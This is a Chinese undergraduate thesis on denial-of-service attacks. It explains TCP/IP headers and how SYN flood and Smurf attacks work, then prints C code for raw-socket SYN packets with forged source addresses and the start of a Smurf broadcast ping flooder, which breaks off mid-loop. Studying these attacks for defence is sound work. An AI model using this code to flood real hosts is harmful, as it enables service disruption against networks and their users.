毕业设计论文dos攻击方式的研究及实现.docx
《毕业设计论文dos攻击方式的研究及实现.docx》由会员分享,可在线阅读,更多相关《毕业设计论文dos攻击方式的研究及实现.docx(24页珍藏版)》请在冰豆网上搜索。
毕业设计论文dos攻击方式的研究及实现
DoS攻击方式的研究及实现
摘要:
本文在对两种攻击方式的具体分析后,归纳出当前流行的DoS攻击方式的
主要特点,并根据攻击的特点提供一些针对这些攻击的防御方法。
通过查阅各
种攻击手段的资料,对其代码进行研究,用代码实现两种攻击程序,然后在特定
的环境下,模拟了攻击测试,并对测试结果进行比较、分析。
关键字:
套接字;报文;拒绝服务;资源衰竭;缓冲区;校验和;广播;带宽耗用
引言
随着信息技术特别是网络技术的不断发展,国际互联网的全球化热潮使人类社会进入了一个新的信息时代。
由于国际互联网具有不受时间、地域限制的特性,而且计算机的处理能力迅速增长,越来越多的网络攻击工具被攻击者应用于因特网而引发了大混乱,而在攻击中又以拒绝服务(DoS)为主,这些拒绝服务型攻击每年造成的商业损失达成百上千万美元,对任何系统和网络都构成了威胁。
为了防止DoS造成更多的损失,很多研究人员加入到研究行列中来。
为了让大家对DoS有更多的了解,所以对DOS攻击原理以及常见方法进行研究。
1问题的提出
1.1DoS攻击的概念
DoS是DenialofService的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。
被DoS攻击时,主机上有大量等待的TCP连接,网络中充斥着大量的无用的数据包。
攻击者源地址为假,制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯。
攻击者利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求,严重时会造成系统死机。
1.2DoS攻击类型
最常见的DoS攻击形式有4种:
1)带宽耗用(bandwidth-consumption)攻击,攻击者有更多的可用带宽而能够造成受害者的拥塞或者征用多个站点集中网络连接对网络进行攻击。
即以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。
2)资源衰竭(resource-starvation)攻击,与带宽耗用不同的是在于消耗系统资源,一般涉及cpu利用率、内存、文件系统限额和系统进程总数之类的系统资源消耗。
即用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。
3)编程缺陷(programmingflaw)是应用程序、操作系统在处理异常条件上的失败。
这些异常条件通常在用户向脆弱的元素发送非期望的数据时发生。
对于依赖用户输入的特定应用程序来说,攻击者可能发送大数据串,这样就有可能创建一个缓冲区溢出条件而导致其崩溃。
4)DNS攻击是基于域名系统的攻击,攻击者向放大网络的广播地址发送源地址伪造成受害者系统的ICMP回射请求分组,这样放大效果开始表现,放大网络上的所有系统对受害者系统作出响应,受害者系统所有可用带宽将被耗尽。
1.3两种攻击方式分析
1)TCP/IP协议
因为对于网络协议都是分层的,所以TCP/IP协议不例外,它可以分为四个层次:
1.链路层:
数据链路层或网络接口层,通常包括操作系统中的设备驱动程序和计算机中对应的网络接口卡;2.网络层:
互连网层,处理分组在网络中的活动,网络层协议包括(IP协议、ICMP协议、IGMP协议);3.传输层:
它主要为两台主机上的应用程序提供端到端的通信;4.应用层:
负责处理特定的应用程序细节(Telnet远程登陆、FTP文件传输协议、SMTP用于电子邮件的简单邮件传输协议、SNMP简单网络管理协议。
TCP/IP协议的重点就是IP协议(网际互连协议)和TCP协议(传输控制协议)。
首先介绍IP协议,IP协议的主要功能包括无连接数据报传送、数据报寻径以及差错处理三部分。
IP层作为通信子网的最高层,提供无连接的数据报传输机制。
IP数据报协议非常简单,不能保证传输的可靠性。
IP协议是点到点的,它向上层提供统一的IP数据报,使得各种物理帧的差异性对上层协议不复存在。
TCP建立在不可靠的IP协议之上,IP不能提供任何可靠性机制,所以TCP的可靠性完全由自己实现。
TCP采用的最基本的可靠性技术是:
确认与超时重传。
流量控制也是保证可靠性的一个重要措施,假如无流量控制,可能因接受缓冲区溢出而丢失大量数据,导致许多重传。
此外,TCP还要进行拥塞控制,目的也不外乎提供可靠性。
怎样才能建立可靠的连接呢?
TCP使用了“三次握手”机制:
第一次,“客户机”向“服务器”发送连接请求,其中包括“客户机”端的初始报文序号(比如X)。
第二次,“服务器”收到连接请求后,发回连接确认,其中包括“服务器”端的初始报文序号(比如Y),以及“服务器”对“客户机”初始报文序号(X)的确认。
第三次,“客户机”向“服务器”发送X序号数据,其中包括对“服务器”初始序号Y的确认。
撤消连接比建立连接简单,但也可能造成数据丢失,因为连接的双方都可以发起撤除连接操作。
假如A、B两机建立连接并传输报文。
在A机毫无准备的情况下,B机单方面发出断连请求,并立刻终止接收该连接上的数据。
在A机未收到断连接请求之前,随时可能向B机发送数据,于是便有了数据丢失的可能性。
为了解决此问题,再次用到三次握手方法。
一方发出断连请求后并不立即撤除连接,而要等待对方确认;对方收到请求后,发送确认报文,并撤除连接;发起方收到确认后最后撤除连接。
TCP的拥塞控制也是基于滑动窗口协议的,通过限制发送端向网间网注入报文的速率而达到控制拥塞的目的。
TCP发现拥塞的途径有两条:
一条是来自ICMP的源抑制报文,一条是报文丢失现象。
TCP/IP协议的分析主要在于IP数据报和TCP数据报的格式。
那么我们应该首先了解IP数据报和TCP数据报的格式。
各种数据格式常常以32bit(即4字节)为单位来描述。
IP数据报的完整格式:
优先级别
D
T
R
C
未用
↓
版本
首部长度
服务类型
总长度
标识
标志
片偏移
生存时间
协议
首部检验和
源地址
目的地址
长度可变的可选字段
填充
↓
IP数据报首部
IP数据部分
IP数据报首部的固定部分中的各字段
1.版本:
占4bit,指IP协议的版本。
通信双方使用的IP协议的版本必须一致。
2.首部长度:
占4bit,可以表示的最大数值是15个单位(一个单位为4字节),因此IP的首部长度的最大值是60字节。
3.服务类型:
占8bit,用来获得更好的服务。
4.总长度:
总长度指首部和数据之和的长度,单位为字节。
5.标识:
占16bit,它是一个计数器,用来产生数据报的标识。
6.标志:
占3bit。
7.片偏移:
较长的分组在分片后,某片在原分组中的相对位置。
8.生存时间:
生存时间字段记为TTL,即数据报在网络中的寿命
9.协议:
占8bit,协议字段指出此数据报携带的数据是使用何种协议,以便使目的主机的IP层字段应将此数据报上报给哪个进程。
10.首部检验和:
此字段只检验数据报的首部,不包括数据部分。
TCP数据报的完整格式:
源端口
目的端口
序号
确认号
数据偏移
保留
URG
ACK
PSH
RST
SYN
FIN
窗口
检验和
紧急指针
选项(长度可变)
填充
↓
TCP数据报首部
TCP数据部分
↓
IP数据报首部
IP数据部分
TCP首部固定部分各字段的意义如下
1.源端口和目的端口:
各占2个字节。
端口是运输层与应用层的服务接口,16bit的端口号加上32bit的IP地址,构成了SOCKET,它相当于运输层服务访问点TSAP的地址(总共是48bit)。
这些端口用来将若干高层协议向下复用,也用来将运输层协议向上分用。
2.序号:
占4bit。
TCP是面向数据流的,它传送的报文可以看成为连续的数据流,其中每一个字节都对应于一个序号。
首部中的“序号”则指的是本报文段所发送的数据中第一个字节的序号。
3.确认序号:
占4字节,是期望收到对方的下一个报文段的数据的第一个字节的序号,也就是期望收到的下一个报文段首部的序号字段的值。
4.数据偏移:
占4bit,它指出数据开始的地方离TCP报文段的起始处有多远。
5.保留:
占6bit,保留为今后使用,目前应为0
6.紧急比特(URG):
当URG=1时,表明紧急指针字段有效。
它告诉系统此报文段中有紧急数据,应尽快传送(相当于高优先级的数据),而不按原来的排队顺序来传送。
ACK:
只有当ACK=1时确认序号字段才有效。
PSH:
当两个应用进程进行交互式的通信时,有时在一端的应用进程希望在键入一个命令后立即就能够收到对方的响应。
RST:
当RST=1时,表明TCP连接中出现严重差错,必须释放连接,然后再重新建立运输连接。
SYN:
在连接建立时用来同步的序号。
FIN:
用来释放一个连接。
12.窗口:
占2字节。
窗口字段用来控制对方发送的数据量,单位为字节。
13.检验和:
占2字节。
检验和字段检验的范围包括首部和数据这两部分。
2)SYNFLOOD攻击
SYNFLOOD是一种比较有效而又非常难于防御的一种DoS攻击方式。
它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机的资源,从而不能够为正常用户提供服务。
这个攻击是经典的以小搏大的攻击,自己使用少量资源占用对方大量资源。
一台P4的Linux系统大约能发到30-40M的64字节的SYN报文,而一台普通的服务器20M的流量就基本没有任何响应了(包括鼠标、键盘)。
而且SYN不仅可以远程进行,而且可以伪造源IP地址,给追查造成很大困难,要查找必须所有骨干网络运营商,一级一级路由器的向上查找。
要掌握SYNFlood攻击的基本原理,必须先介绍TCP的三次握制。
TCP三次握手过程如下:
1.客户端向服务器端发送一个SYN置位的TCP报文,包含客户端使用的端口号和初始序列号x;
2.服务器端收到客户端发送来的SYN报文后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号为x+1和服务器的初始序列号y;
3.客户端收到服务器返回的SYN+ACK报文后,向服务器返回一个确认号为y+1序号为x+1的ACK报文,一个标准的TCP连接完成。
如图1所示:
攻击原理:
在SYNFlood攻击中,黑客机器向受害主机发送大量伪造源地址的TCPSYN报文,受害主机分配必要的资源,然后向源地址返回SYN+ACK包,并等待源端返回ACK包,如图2所示。
由于源地址是伪造的,所以源端永远都不会返回ACK报文,并向受害主机继续发送SYN+ACK包,当目标计算机收到请求后,就会使用一些系统资源来为新的连接提供服务,接着回复SYN+ACK。
假如一个用户向服务器发送报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法再接受到客户端的ACK报文(第三次握手无法完成)。
一些系统都有缺省的回复次数和超时时间,这种情况下服务器端一般会重新发送SYN+ACK报文给客户端,只有达到一定次数或者超时,占用的系统资源才会被释放。
这段时间我们称为SYNTimeout,虽然时间长度是分钟的数量级,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCPSYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。
3)SMURF攻击
Smurf攻击因为其放大效果成为最令人害怕的GENERICDoS攻击之一。
这种
放大效果是往一个网络上的多个系统发送定向广播的ping请求,这些系统接着对这种请求作出响应的结果。
攻击原理:
Smurf攻击是这种攻击的早期形式,是一种在局域网中的攻击手段。
它的作用原理是基于广播地址与回应请求的。
一台计算机向另一台计算机发送一些特殊的数据包如ping请求时,会接到它的回应;如果向本网络的广播地址发送请求包,实际上会到达网络上所有的计算机,这时就会得到所有计算机的回应。
这些回应是需要被接收的计算机处理的,每处理一个就要占用一份系统资源,如果同时接到网络上所有计算机的回应,接收方的系统是有可能吃不消的,就象遭到了DDoS攻击一样。
大家会疑问,谁会无聊得去向网络地址发包而招来所有计算机的攻击呢?
当然做为一个正常的操作者是不会这么做的,但是当黑客要利用这个原理进行Smurf攻击的时候,他会代替受害者来做这件事。
黑客向广播地址发送请求包,所有的计算机得到请求后,却不会把回应发到黑客那里,而是被攻击的计算机处。
这是因为黑客冒充了被攻击主机。
黑客发包所用的软件是可以伪造源地址的,接到伪造数据包的主机会根据源地址把回应发出去,这当然就是被攻击目标的地址。
黑客同时还会把发包的间隔减到几毫秒,这样在单位时间能发出数以千计的请求,使受害者接到被欺骗计算机那里传来的洪水般的回应。
象遭到其他类型的拒绝服务攻击一样,被攻击主机会网络和系统无法响应,严重时还会导致系统崩溃。
黑客借助了网络中所有计算机来攻击受害者,而不需要事先去占领这些被欺骗的主机。
2基于DoS攻击的分析和设计
2.1功能需求
1)软件需要在命令行模式下运行。
2)被攻击主机应确保处于运行态。
3)网络传输速度较快。
2.2性能需求
系统对运行环境的要求:
1)硬件环境
局域网环境
百兆交换机
高性能PC一台
普通性能PC一台
2)软件环境
Win2000操作系统
UNIX操作系统
网络监听工具SNOOP
C++
2.3系统结构图
图3SYNFLOOD结构图
图4SMURF结构图
2.4数据流程图
SYNFLOOD数据流程图如下:
图5SYNFLOOD数据流程图
SMURF数据流程图如下:
图6SMURF数据流程图
3程序实现
3.1实现SYNFLOOD
程序描述:
目的:
利用TCP连接三次握手定理进行攻击.
特点:
发起的连接都是半连接
功能
输入处理输出
被攻击主机IP生成伪造IP的报文向被攻击主机发送报文
性能要求
对TCP、IP首部校验和运算要有较快速度
攻击机所处局域网内机器较少,避免伪造IP与网内机器IP相同
输入项
被攻击主机IP
输出项
伪造的SYN报文
流程逻辑
//定义TCP首部
typedefstruct_tcphdr
{
USHORTth_sport;//16位源端口
USHORTth_dport;//16位目的端口
unsignedintth_seq;//32位序列号
unsignedintth_ack;//32位确认号
unsignedcharth_lenres;//4位首部长度+6位保留字中的4位
unsignedcharth_flag;//2位保留字+6位标志位
USHORTth_win;//16位窗口大小
USHORTth_sum;//16位校验和
USHORTth_urp;//16位紧急数据偏移量
}TCP_HEADER;
//定义IP首部
typedefstruct_iphdr
{
unsignedcharh_verlen;//4位首部长度+4位IP版本号
unsignedchartos;//8位服务类型TOS
unsignedshorttotal_len;//16位总长度(字节)
unsignedshortident;//16位标识
unsignedshortflags;//3位标志位
unsignedcharttl;//8位生存时间TTL
unsignedcharproto;//8位协议号(TCP,UDP或其他)
unsignedshortchecksum;//16位IP首部校验和
unsignedintsourceIP;//32位源IP地址
unsignedintdestIP;//32位目的IP地址
}IP_HEADER;
//建立原始套接字
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));
//计算校验和
USHORTchecksum(USHORT*buffer,intsize)
{
unsignedlongcksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)cksum+=*(UCHAR*)buffer;
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return(USHORT)(~cksum);
}
//构造TCP伪首部,保证校验和的有效性
struct
{
unsignedlongsaddr;//源地址
unsignedlongdaddr;//目的地址
charmbz;//置空
charptcl;//协议类型
unsignedshorttcpl;//TCP长度
}psd_header;
//这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+
sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
ip_header.checksum=checksum((USHORT*)SendBuf,sizeof(ip_header)+sizeof(tcp_header));
//形成TCP报文
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//向被攻击机发送SYN请求
sendto(SockRaw,SendBuf,datasize,0,(structsockaddr*)&DestAddr,sizeof(DestAddr));
3.2实现SMURF
程序描述:
目的:
利用发送定向广播进行攻击.
特点:
攻击效果被放大
功能
向被攻击主机所在网络发送ICMP回射请求分组
性能要求
对ICMP、IP首部校验和运算要有较快速度
攻击机所处局域网内机器较多,达到攻击放大效果
输入项
被攻击主机IP,广播地址所在文件,包数,包之间延迟,包大小
输出项
ICMP报文
流程逻辑
//帮助信息
voidusage(char*prog)
{
fprintf(stderr,"usage:
%s"
"\n\n"
"target=addresstohit\n"
"bcastfile=filetoreadbroadcastaddressesfrom\n"
"numpackets=numberofpacketstosend(0=flood)\n"
"packetdelay=waitbetweeneachpacket(inms)\n"
"packetsize=sizeofpacket(<1024)\n\n",prog);
exit(-1);
}
//计算校验和
USHORTchecksum(USHORT*buffer,intsize)
{
unsignedlongcksum=0;
while(size>1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size)cksum+=*(UCHAR*)buffer;
cksum=(cksum>>16)+(cksum&0xffff);
cksum+=(cksum>>16);
return(USHORT)(~cksum);
}
//主函数
intmain(intargc,char*argv[])
{
structsockaddr_insin;//地址结构
structhostent*he;//主机信息结构
FILE*bcastfile;//广播地址文件
inti,sock,bcast,delay,num,pktsize,cycle=0,x;
charbuf[32],**bcastaddr=malloc(8192);
banner();//显示标记
signal(SIGINT,ctrlc);
if(argc<6)usage(argv[0]);
//如果主机名为空,显示出错信息
if((he=gethostbyname(argv[1]))==NULL){
perror("resolvingsourcehost");
exit(-1);
}
//获得被攻击主机IP地址
memcpy((caddr_t)&sin.sin_addr,he->h_addr,he->h_length);
//通讯发生区域为WINDOWS
sin.sin_family=AF_INET;
//端口置空
sin.sin_port=htons(0);
num=atoi(argv[3]);
delay=atoi(argv[4]);
pktsize=atoi(argv[5]);
//以只读方式打开广播地址文件失败
if((bcastfile=fopen(argv[2],"r"))==NULL){
perror("openingbcastfile");
exit(-1);
}
x=0;
//读入全部广播地址
while(!
feof(bcastfile)){
fgets(buf,32,bcastfile);
if(buf[0]=='#'||buf[0]=='\n'||!
isdigit(buf[0]))continue;
for(i=0;iif(buf[i]=='\n')buf[i]='\0';